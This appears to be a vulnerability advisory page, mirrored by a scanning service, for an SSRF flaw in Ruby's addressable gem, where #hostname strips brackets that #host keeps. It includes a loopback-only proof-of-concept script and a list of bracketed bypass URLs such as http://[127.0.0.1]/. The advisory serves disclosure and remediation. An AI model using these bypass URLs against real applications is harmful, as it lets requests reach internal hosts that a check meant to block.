LowGHSA-c7j3-jq7p-v3prCVE-2026-141535

Addressable URI#hostname strips brackets from hosts that aren't IP literals

Published 1 Dec 2026 · Updated 2 Dec 2026

Affected package

addressableRubyGems
Affected
>=2.3.5 <2.10.0
Fixed in
2.10.0
Update to the fixed version for your release line, for example:bundle update --conservative addressable # Gemfile: '>= 2.10.0'

We confirm your address first. See our privacy policy.

Which addressable does your project really install?

Drop your Gemfile.lock hereWe find the exact addressable version you install, even when another package pulls it in, and tell you if it’s affected and what to run. Free, no sign-up.

Works for private projects: the file is read in memory to run the scan and then dropped. Also reads Gemfile.

Public repo?

Look after several Rails or Ruby apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Details

Impact

Addressable::URI.parse accepts a host in brackets even when the text inside isn't an IPv6 address or an IPvFuture literal, such as http://[127.0.0.1]/ or http://[localhost]/. #host keeps the brackets, but #hostname strips them, so code that checks host and connects to hostname checks one name and connects to another. Net::HTTP connects to hostname when given an Addressable URI.

RFC 3986 §3.2.2 allows brackets only around an IP-literal: an IPv6 address or an IPvFuture literal (v1.…). Ruby's URI and curl reject anything else. The bracketed form of a name or IPv4 address doesn't resolve: IPAddr.new("[127.0.0.1]") raises and Resolv.getaddresses("[127.0.0.1]") returns [], while the stripped form resolves normally. A valid IPv6 literal such as [::1] isn't affected, because IPAddr accepts its bracketed form.

An application is affected if it:

  • parses an untrusted URL with Addressable,
  • checks the destination using #host, and permits a host through even if it doesn't resolve, and
  • connects using #hostname, for example by passing the Addressable URI to Net::HTTP.

The request then reaches loopback or another internal address that the check would otherwise have blocked. A check that treats names that don't resolve as blocked isn't affected.

Affected Versions

This vulnerability affects Addressable >= 2.3.5, where #hostname began stripping the brackets from any bracketed host. In earlier versions, #hostname doesn't exist or returns the host unchanged. It is fixed in 2.10.0, where URI.parse, URI.new and the host setters raise InvalidURIError for brackets in a host that don't enclose an IPv6 address or an IPvFuture literal, as Ruby's URI does.

Workarounds

  • Check the same value used to connect: generally prefer hostname over host for SSRF checks, avoid checking host but then connecting to hostname, only connect to the same address that an SSRF check was performed on.
  • Reject a URI whose host starts with [ unless IPAddr.new(uri.hostname) is an IPv6 address.

Proof of Concept

The following script starts a server on loopback only and makes no other network requests.

require "addressable/uri"
require "ipaddr"; require "resolv"; require "socket"; require "net/http"

server = TCPServer.new("127.0.0.1", 0)
port = server.addr[1]
Thread.new do
  loop do
    s = server.accept
    s.gets; while (l = s.gets) && l != "\r\n"; end
    s.write("HTTP/1.1 200 OK\r\nContent-Length: 8\r\n" \
            "Connection: close\r\n\r\nINTERNAL")
    s.close
  end
end

def blocked?(uri)
  ips = begin
    [IPAddr.new(uri.host)]
  rescue IPAddr::InvalidAddressError
    Resolv.getaddresses(uri.host).map { |a| IPAddr.new(a) }
  end
  ips.any? { |ip| ip.loopback? || ip.private? || ip.link_local? }
end

def fetch(url)
  uri = Addressable::URI.parse(url)
  return "blocked" if blocked?(uri)
  Net::HTTP.get_response(uri).body
rescue => e
  e.class.to_s
end

["http://127.0.0.1:#{port}/", "http://localhost:#{port}/",
 "http://[::ffff:127.0.0.1]:#{port}/", "http://[127.0.0.1]:#{port}/",
 "http://[localhost]:#{port}/", "http://[127.1]:#{port}/",
 "http://[2130706433]:#{port}/", "http://[0x7f.1]:#{port}/"].each do |u|
  puts "%-36s %s" % [u.sub(port.to_s, "PORT"), fetch(u)]
end

Output with 2.9.2, Ruby 4.0.2:

http://127.0.0.1:PORT/               blocked
http://localhost:PORT/               blocked
http://[::ffff:127.0.0.1]:PORT/      blocked
http://[127.0.0.1]:PORT/             INTERNAL
http://[localhost]:PORT/             INTERNAL
http://[127.1]:PORT/                 INTERNAL
http://[2130706433]:PORT/            INTERNAL
http://[0x7f.1]:PORT/                INTERNAL

Output with the fix:

http://127.0.0.1:PORT/               blocked
http://localhost:PORT/               blocked
http://[::ffff:127.0.0.1]:PORT/      blocked
http://[127.0.0.1]:PORT/             Addressable::URI::InvalidURIError
http://[localhost]:PORT/             Addressable::URI::InvalidURIError
http://[127.1]:PORT/                 Addressable::URI::InvalidURIError
http://[2130706433]:PORT/            Addressable::URI::InvalidURIError
http://[0x7f.1]:PORT/                Addressable::URI::InvalidURIError

Credits

Reported by Praneeth (@praneeth-bala), UCSB SecLab.

For more information

If there are any questions or comments about this advisory:

Is GHSA-c7j3-jq7p-v3pr in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected addressable, and gives you the command that fixes it.

More advisories for addressable

  • LowCVE-2026-141532Addressable URI#origin= takes the host from the userinfo · 2 Dec 2026
  • LowCVE-2026-141536Addressable URI#request_uri returns control characters unencoded with possible HTTP request splitting · 1 Dec 2026
  • LowCVE-2026-141537Addressable URI normalization takes quadratic time on long runs of combining marks · 1 Dec 2026
  • MediumCVE-2026-141538Addressable URI userinfo setters store delimiters raw, so the serialized URI names a different host · 1 Dec 2026
  • MediumCVE-2026-141539Addressable native IDNA backend truncates a host at a pct-encoded NUL when normalizing · 1 Dec 2026
  • LowCVE-2026-141531Addressable display_uri shows a deceptive label boundary for a host label that decodes to U+3002 · 1 Dec 2026
All 22 advisories for addressable

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.